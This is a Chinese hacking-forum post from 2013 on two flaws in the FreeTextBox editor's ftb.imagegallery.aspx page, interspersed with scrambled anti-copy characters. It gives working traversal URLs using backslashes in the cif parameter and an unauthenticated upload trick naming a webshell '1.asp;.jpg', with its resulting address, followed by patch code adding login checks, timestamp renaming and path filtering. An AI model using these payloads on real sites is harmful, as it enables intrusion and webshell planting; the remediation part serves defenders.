找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

Treetextbox编辑器遍历目录+上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-18 18:22:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  漏洞文件:ftb.imagegallery.aspx
$ V! i9 P! n3 S1 j  Q6 U
8 n  v. _/ Q) O& w& s漏洞一:目录遍历
3 v- ~$ S! r- Z9 `( s7 o/ ^) Bftb.imagegallery.aspx?frame=1&rif=images&cif=../! Z. o6 p! Y( }& G% U$ Y- @1 z
不可以,过滤了/
1 @8 r6 a4 _6 K2 D" J0 fftb.imagegallery.aspx?frame=1&rif=images&cif=..\
) h$ S. Y$ j- F# A: ]/ T9 |! [可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。7 c  ^1 m1 \( e6 W0 {
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\..* N3 t2 u* s3 K  u; V
漏洞二:上传漏洞
. {2 B/ f9 c8 \没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg8 s) q! z; r8 F

, p  {5 a# T. |  J8 E% z
" w( _. S1 }1 h8 E漏洞修补方案:
" g( N; ^6 Z9 X9 [9 |" L, ]# I# N& G# y! i8 B
添加代码加登陆验证
* a. Q% c9 O- {private void Page_Load(object sender, System.EventArgs e) {    string isframe = “” + Request["frame"];   Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。
4 }  f- V. V% G5 e5 G; x# y
5 R7 B. j; S( L/ w修改方式如下:
- `  W! g- s( Y: f$ N# u6 U% l* o  x$ w+ Z4 W+ [6 L; S; i
找到 程序代码
' e* S7 a% h7 i3 A6 pUploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1);    在其下面添加以下代码
$ a6 Y# q6 U' X# |# P# [$ ~* t//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名
3 F* J, r9 E( [5 T6 R以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {& L9 u( v+ @5 m0 G3 b
把RootImagesFolder.Value = rif;- ^) A% g& q2 Y# k1 b/ v7 l9 k
5 x* v6 F- Z- ^3 b3 ]. `
替换成% E8 G; a9 x8 o0 ~- i. X+ c
程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");
! C3 ^) W" K! P, q# b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表